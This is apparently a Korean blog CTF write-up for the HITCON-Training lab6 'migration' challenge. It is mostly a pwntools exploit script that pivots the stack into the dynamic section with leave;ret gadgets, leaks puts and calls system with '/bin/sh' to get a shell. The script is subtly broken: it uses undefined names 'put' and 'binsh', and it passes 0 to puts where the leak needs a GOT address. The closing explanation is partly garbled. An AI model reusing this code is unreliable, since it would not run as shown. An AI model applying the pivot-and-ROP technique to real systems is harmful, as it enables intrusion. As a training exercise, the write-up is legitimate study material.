상세 컨텐츠

본문 제목

[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP)

SYSTEM HACKING/CTF, etc

by koharin 2020. 5. 27. 11:57

본문

728x90
반응형

# 보호기법 확인

 


# Process

 

 

 

Leave_ret 주소 : 0x8048504

 

Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc

 

 

pop_ret : 0x804836d(으로 사용함)

 

pop_pop_pop_ret : 0x8048569

 

 

puts_system_offset : 0x24f00

puts_binsh_offset : 0xfbd6b


# Exploit Code

 

from pwn import *

p = process("./migration")
elf = ELF("./migration")

dynamic = 0x8049efc
buf = dynamic + 0x600
buf2 = dynamic + 0x800
p3ret = 0x8048569
p1ret = 0x804836d
leave_ret = 0x8048504
read_plt = p32(elf.plt['read'])
read_got = p32(elf.got['read'])
puts_plt = p32(elf.plt['puts'])
puts_got = p32(elf.got['puts'])

p.recv()

pay = 'A'*40 + p32(buf)
pay += read_plt + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

p.send(pay)

pay = p32(buf2)
pay += puts_plt + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)

p.sendline(pay)

puts = u32(p.recv(4))
system = puts - 0x24f00
vbinsh = put + 0xfbd6b

pay = "AAAA" + p32(system) + "BBBB" + p32(binsh)

p.send(pay)

p.interactive()

System 함수 call AAAA를 넣는 이유는 leave ret으로 인해 ebp+4가 되므로 system addreip가 위치해서 다음 명령을 system을 수행할 수 있도록 하기 위해서이다.


# Exploit

 


 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[TAMU 2019] pwn5  (0) 2020.05.31
RTL_x64 (5/25 포너블 실습 문제 만들기)  (0) 2020.05.28
[HITCON-Training] lab9 playfmt (Double Staged FSB)  (1) 2020.05.04
[ROP Emporium] pivot  (0) 2020.04.20
Limited Book  (0) 2020.03.26

관련글 더보기